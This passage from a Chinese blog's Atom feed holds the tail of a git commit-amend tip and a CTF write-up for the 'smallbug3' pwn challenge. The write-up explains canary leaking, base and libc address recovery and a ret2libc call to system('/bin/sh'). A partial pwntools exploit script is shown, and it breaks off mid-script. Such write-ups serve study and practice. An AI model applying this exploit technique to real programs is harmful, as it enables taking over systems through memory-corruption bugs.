message&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不合要求被&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;commitlint&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;卡住，这时用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;a8a2ac58f37d&quot;&gt;&lt;code&gt;--amend&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;修改成合要求&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;commit
message&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再强制更新到自己提交&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的分支就可以了。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# 用 --amend 更新 commit message&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; commit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --amend -m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;新的commit message&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# 强制更新到提交 PR 的分支 (origin xxxxx)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; push&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --force-with-lease&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; origin xxxxx&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;update_commit_message_in_pr
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;update_commit_message_in_pr&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>bug3</title>
    <published>2019-01-22T21:55:18+08:00</published>
    <updated>2019-01-22T21:55:18+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/bug3/" type="text/html" />
    <id>https://emptystack.top/bug3/</id>
    <content type="html">
      &lt;h2 id=&quot;smallbug3&quot;&gt;smallbug3&lt;&#x2F;h2&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;flag-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;flag-fs8.png&quot;
	alt=&quot;flag.png&quot;
	height=&quot;267&quot;
	width=&quot;1078&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;canary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后两位一定是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;00，可以通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;canary&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找到。填充多少位，可以通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;telescope 0x20&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;canary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位置，再&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;distance $rsi canary&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找到。&lt;&#x2F;p&gt;
&lt;p&gt;canary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小端序存储在内存中，就可以把开头两位&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;00&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;覆盖成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x27;c&#x27;，这样读到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;c，rjust00&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后就可以解出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;canary（我用
sendline，多发的一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x27;&#x27;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;起到了填补&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;\0
的效果，但自己一直没发现，卡了好久&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;程序基址可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GDB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;vmmap&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看，发现和跟着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;canary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;打出来的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rbp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;前几位相同，我记得讲过开了地址随机化程序基址后三位也一定是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;000，所以可以根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rbp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;求出程序基址。&lt;&#x2F;p&gt;
&lt;p&gt;思路就是首先泄露出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;canary、程序基址前几位，然后&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;puts&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;泄露&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;puts_got&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;推出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;基址，第二个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;main&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就可以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;system(&quot;&#x2F;bin&#x2F;sh&quot;)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。&lt;&#x2F;p&gt;
&lt;p&gt;说是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rbp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;telescope&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看出和程序基址前几位相同，我又发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rbp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下面一句：
&lt;code&gt;0x7ffeadd0ec78 —▸ 0x7f68efcc6a87 (__libc_start_main+231) ◂— mov edi, eax&lt;&#x2F;code&gt;，如果能打印出它，连用
puts 泄露 got
表都不用，直接可以在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里找&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;**libc_start_main&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就能得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;基址（GDB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里算过了，是对的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。但因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rbp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开头是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0，所以想要不覆盖&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rbp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;而打出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;**libc_start_main+231&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是不可能的，本想着第二次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;main&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再打印，又&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;EOF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了好久，才发现第二次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rbp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下面不是这句了……不爽，还是想要通过这种方式算出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;基址，在它之后（$rsi+0x118）又找到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;_dl_init+118&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的地址，填充好了打半天出不来，才想起来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;canary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也带&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;\0，打印到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;canary&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就停止了不能再往前走了……&lt;&#x2F;p&gt;
&lt;p&gt;只好按部就班找&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;system、bin&#x2F;sh&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;解出题目：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# -*- coding: utf-8 -*-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;debug&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;terminal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;deepin-terminal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; process&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;smallbug3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;  # , env = {&amp;quot;LD_PRELOAD&amp;quot; : &amp;quot;.&#x2F;libc-2.23.so&amp;quot;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;libc-2.27.so&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;smallbug3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pop_rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;b33&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;  # ropper --file .&#x2F;smallbug3  --search &amp;quot;pop | ret&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; * 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;88&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;  # 隐含地发送了第0x89个字符&amp;#39;\n&amp;#39;，它会覆盖掉canary的最后一位&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;canary&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span&gt;rjust&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span&gt;u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span&gt;ljust&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 12&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;canary: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; hex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;canary&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;elf_base: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; hex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Leave some message for us:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pop_rdi_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; pop_rdi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
